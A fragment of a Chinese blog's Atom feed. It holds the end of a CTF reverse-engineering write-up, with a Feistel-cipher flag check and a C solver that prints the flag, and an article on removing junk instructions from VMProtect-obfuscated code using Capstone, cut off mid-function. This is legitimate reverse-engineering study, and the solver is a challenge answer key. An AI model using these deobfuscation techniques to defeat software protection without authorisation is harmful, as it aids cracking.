&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; r13&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, r14&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;num_a, r15&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;num_b;
&lt;&#x2F;span&gt;&lt;span&gt;    r14&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^=&lt;&#x2F;span&gt;&lt;span&gt;XOR_NUM_A;
&lt;&#x2F;span&gt;&lt;span&gt;    r15&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^=&lt;&#x2F;span&gt;&lt;span&gt;XOR_NUM_B;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;while&lt;&#x2F;span&gt;&lt;span&gt;(r13&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!=&lt;&#x2F;span&gt;&lt;span&gt;DELTA_END) {
&lt;&#x2F;span&gt;&lt;span&gt;        r13&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+=&lt;&#x2F;span&gt;&lt;span&gt;DETLE;
&lt;&#x2F;span&gt;&lt;span&gt;        r14&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^=&lt;&#x2F;span&gt;&lt;span&gt;(r13&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;HASH_NUM)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^&lt;&#x2F;span&gt;&lt;span&gt;(r13&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;30&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^&lt;&#x2F;span&gt;&lt;span&gt;(r15&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;24&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; tmp&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;r14;
&lt;&#x2F;span&gt;&lt;span&gt;        r14&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;r15;
&lt;&#x2F;span&gt;&lt;span&gt;        r15&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;tmp;
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;    r14&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^=&lt;&#x2F;span&gt;&lt;span&gt;XOR_NUM_A;
&lt;&#x2F;span&gt;&lt;span&gt;    r15&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^=&lt;&#x2F;span&gt;&lt;span&gt;XOR_NUM_B;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span&gt; r14&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!=&lt;&#x2F;span&gt;&lt;span&gt;RESULT_A &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;||&lt;&#x2F;span&gt;&lt;span&gt; r15&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!=&lt;&#x2F;span&gt;&lt;span&gt;RESULT_B;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看出这是Feistel cipher，根据该密码的特点，可以写得解密函数：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#include &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;lt;stdint.h&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;XOR_NUM_A &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5050961714944838468&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;XOR_NUM_B &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;17385842772293075248&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;DELTA_END &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;14610338879684656475&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;DETLE     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11448659141604722329&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;HASH_NUM  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;6754348585825892801&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;RESULT_A  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;9785931681412827268&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;RESULT_B  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;6634550174467950632&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ull
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;dec&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;* &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;flag_a&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;* &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;flag_b&lt;&#x2F;span&gt;&lt;span&gt;){
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; r13&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;DELTA_END, r14&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;RESULT_A, r15&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;RESULT_B;
&lt;&#x2F;span&gt;&lt;span&gt;    r14&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^=&lt;&#x2F;span&gt;&lt;span&gt;XOR_NUM_A;
&lt;&#x2F;span&gt;&lt;span&gt;    r15&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^=&lt;&#x2F;span&gt;&lt;span&gt;XOR_NUM_B;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;while&lt;&#x2F;span&gt;&lt;span&gt;(r13) {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; tmp&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;r14;
&lt;&#x2F;span&gt;&lt;span&gt;        r14&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;r15;
&lt;&#x2F;span&gt;&lt;span&gt;        r15&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;tmp;
&lt;&#x2F;span&gt;&lt;span&gt;        r14&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^=&lt;&#x2F;span&gt;&lt;span&gt;(r13&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;HASH_NUM)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^&lt;&#x2F;span&gt;&lt;span&gt;(r13&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;30&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^&lt;&#x2F;span&gt;&lt;span&gt;(r15&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;24&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;        r13&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-=&lt;&#x2F;span&gt;&lt;span&gt;DETLE;
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;    r14&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^=&lt;&#x2F;span&gt;&lt;span&gt;XOR_NUM_A;
&lt;&#x2F;span&gt;&lt;span&gt;    r15&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^=&lt;&#x2F;span&gt;&lt;span&gt;XOR_NUM_B;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;flag_a&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;r14;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;flag_b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;r15;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span&gt;(){
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; flag_a,flag_b;
&lt;&#x2F;span&gt;&lt;span&gt;    dec(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;flag_a,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;flag_b);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;flag{&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;%016llx%016llx&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;}&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,flag_a,flag_b);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;项目源码及wp源码 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ri-char&#x2F;nothing-ctf&quot;&gt;ri-char&#x2F;nothing-ctf&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;can-kao-zi-liao&quot;&gt;参考资料&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bbs.pediy.com&#x2F;thread-271891.htm&quot;&gt;通过DWARF Expression将代码隐藏在栈展开过程中&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;dwarfstd.org&#x2F;doc&#x2F;DWARF5.pdf&quot;&gt;DWARF 5 Standard&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;binutils&#x2F;docs&#x2F;as&#x2F;CFI-directives.html&quot;&gt;CFI directives&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;eli.thegreenplace.net&#x2F;2011&#x2F;02&#x2F;07&#x2F;how-debuggers-work-part-3-debugging-information&quot;&gt;Debugging information&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>VMP分析-去除无用指令</title>
        <published>2022-04-22T00:00:00+00:00</published>
        <updated>2022-04-22T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/vmpfen-xi-qu-chu-wu-yong-zhi-ling/"/>
        <id>https://richar.top/vmpfen-xi-qu-chu-wu-yong-zhi-ling/</id>
        
        <content type="html" xml:base="https://richar.top/vmpfen-xi-qu-chu-wu-yong-zhi-ling/">&lt;p&gt;在VMProtect混淆中，经常可以看到对一个寄存器进行了一堆操作，最后却直接把这个寄存器覆盖了。例如下面代码，刚给给&lt;code&gt;ebx&lt;&#x2F;code&gt;赋上&lt;code&gt;0xabcd&lt;&#x2F;code&gt;然后做了一系列运算，但是最后直接把他清空了，因此前三句就是无用指令。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;asm&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-asm &quot;&gt;&lt;code class=&quot;language-asm&quot; data-lang=&quot;asm&quot;&gt;&lt;mark style=&quot;background-color:#60606080;&quot;&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;mov     &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;ebx&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;0xabcd
&lt;&#x2F;span&gt;&lt;&#x2F;mark&gt;&lt;mark style=&quot;background-color:#60606080;&quot;&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;add     &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;ebx&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;0xcdef
&lt;&#x2F;span&gt;&lt;&#x2F;mark&gt;&lt;mark style=&quot;background-color:#60606080;&quot;&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;not     &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;ebx
&lt;&#x2F;span&gt;&lt;&#x2F;mark&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;xor     &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;ebx&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;ebx
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;参考了B站大佬的视频里的算法，通过一个简单的原则——对同一个寄存器的连续两次写入，前一次写入是无用的，就可以处理大部分情况。然后我们再假设对内存的操作都是有效的，因为在VMP中，用内存进行局部混淆的代码几乎没有。还有一些代码如&lt;code&gt;xor rax,rax&lt;&#x2F;code&gt;看起来是对rax既有读、又有写，但实际上我们知道，这行汇编等价于&lt;code&gt;mov rax,0&lt;&#x2F;code&gt;，因此只有对&lt;code&gt;rax&lt;&#x2F;code&gt;的写入，这类指令需要我们做特殊处理。&lt;&#x2F;p&gt;
&lt;div style=&quot;position:relative;padding-bottom:56.25%;height:0;overflow:hidden;&quot;&gt;
    &lt;iframe src=&quot;&#x2F;&#x2F;player.bilibili.com&#x2F;player.html?aid=458275682&amp;bvid=BV1q5411H7ko&amp;cid=271685589&amp;page=1&quot; scrolling=&quot;no&quot; border=&quot;0&quot; frameborder=&quot;no&quot; framespacing=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt; &lt;&#x2F;iframe&gt;
&lt;&#x2F;div&gt;
&lt;h1 id=&quot;shu-ju-jie-gou-she-ji&quot;&gt;数据结构设计&lt;&#x2F;h1&gt;
&lt;p&gt;在这个项目中，我把类似于&lt;code&gt;rax&lt;&#x2F;code&gt;、&lt;code&gt;eax&lt;&#x2F;code&gt;、&lt;code&gt;ah&lt;&#x2F;code&gt;、&lt;code&gt;al&lt;&#x2F;code&gt;的寄存器当做不同的寄存器，但是对大的寄存器进行读写的操作时，也会同时对小的寄存器进行读写。&lt;code&gt;EFLAGS&lt;&#x2F;code&gt;中每个标志位都把他看成单独的寄存器，一次提高匹配粒度。&lt;&#x2F;p&gt;
&lt;p&gt;每条指令都要记录对寄存器的读写，以及对&lt;code&gt;EFLAGS&lt;&#x2F;code&gt;中每个标志位的读写，因此需要四个变量，每个变量的对应位都代表了某个特定寄存器。除此之外，还有2个属性&lt;code&gt;keep&lt;&#x2F;code&gt;、&lt;code&gt;useless&lt;&#x2F;code&gt;用于手动标记该条指令需要保留或者是无用指令。&lt;code&gt;deleted&lt;&#x2F;code&gt;为识别输出的结果，表示识别出来这条指令是无用的。因此有下面的结构体。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;class &lt;&#x2F;span&gt;&lt;span style=&quot;text-decoration:underline;color:#ffc66d;&quot;&gt;InstInfo&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;public&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    cs_insn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;inst;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t &lt;&#x2F;span&gt;&lt;span&gt;regs_read{&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;}, regs_write{&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;};
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint16_t &lt;&#x2F;span&gt;&lt;span&gt;eflags_read{&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;}, eflags_write{&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;};
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;bool &lt;&#x2F;span&gt;&lt;span&gt;keep{&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;false&lt;&#x2F;span&gt;&lt;span&gt;}, useless{&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;false&lt;&#x2F;span&gt;&lt;span&gt;}, deleted{&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;false&lt;&#x2F;span&gt;&lt;span&gt;};
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;chu-shi-hua&quot;&gt;初始化&lt;&#x2F;h1&gt;
&lt;p&gt;在构造上面结构体的时候，要识别出这条指令的寄存器读写操作、以及&lt;code&gt;EFLAGS&lt;&#x2F;code&gt;的读写操作。如果这条指令是要对内存进行操作，那么就要标记&lt;code&gt;keep&lt;&#x2F;code&gt;。
好在现在的反汇编引擎(这里用的是&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.capstone-engine.org&#x2F;&quot;&gt;capstone&lt;&#x2F;a&gt;)已经足够强大，可以直接获得对哪些寄存器以及标志位进行了读写。
只需要对特殊指令进行特殊处理，如&lt;code&gt;xor rax,rax&lt;&#x2F;code&gt;，可以世纪中边用边完善。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;suan-fa-shi-xian&quot;&gt;算法实现&lt;&#x2F;h1&gt;
&lt;p&gt;对代码段进行逆序遍历，因为如果是正序遍历，遍历到某行代码时并不知道这行代码写入的寄存器会不会被二次写入；而逆序遍历从后往前，可以明确知道每个寄存器是否需要使用到。&lt;&#x2F;p&gt;
&lt;p&gt;在代码中建立了&lt;code&gt;last_reg_write&lt;&#x2F;code&gt;和&lt;code&gt;last_eflags_write&lt;&#x2F;code&gt;两个变量，分别用于记录对哪些寄存器的写入操作是无效的，如果该位为1,则对该位的写入为无效。因此他们的初始值为0，表示最后执行完所有寄存器的值都是有用的，也可以根据实际情况进行修改。&lt;&#x2F;p&gt;
&lt;p&gt;然后如果当前指令被删除了就跳过这行指令，如果没有标记&lt;code&gt;keep&lt;&#x2F;code&gt;那么就把这条指令&lt;code&gt;regs_write&lt;&#x2F;code&gt;中可以删除的操作进行删除——即把&lt;code&gt;last_reg_write&lt;&#x2F;code&gt;中为1的位在&lt;code&gt;regs_write&lt;&#x2F;code&gt;中设为0。然后这样操作之后，如果这条指令没有任何写操作，就可以放心的把这条指令删除了。&lt;&#x2F;p&gt;
&lt;p&gt;接着更新&lt;code&gt;last_reg_write&lt;&#x2F;code&gt;，由于汇编读写同一个寄存器肯定是先读再写，那么逆序就是先处理写、再处理读。如果这条汇编写入了一个寄存器，那么就可以标记未来对这个寄存器的写是可以删除的，即将&lt;code&gt;last_reg_write&lt;&#x2F;code&gt;对应位置1。
如果这条汇编读了一个寄存器，那么就需要把可以删除的标记去掉，即将&lt;code&gt;last_reg_write&lt;&#x2F;code&gt;对应位置0。&lt;&#x2F;p&gt;
&lt;p&gt;在这样的一轮循环后，就可以完成所有无用指令的识别，通过位运算，大大提高了执行效率。代码如下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span&gt;InstManager::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;simplify&lt;&#x2F;span&gt;&lt;span&gt;() {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint64_t&lt;&#x2F;span&gt;&lt;span&gt; last_reg_write &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;uint16_t&lt;&#x2F;span&gt;&lt;span&gt; last_eflags_write &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;auto&lt;&#x2F;span&gt;&lt;span&gt; inst_ptr &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; insts-&amp;gt;rbegin(); inst_ptr &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!=&lt;&#x2F;span&gt;&lt;span&gt; insts-&amp;gt;rend(); inst_ptr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;) {
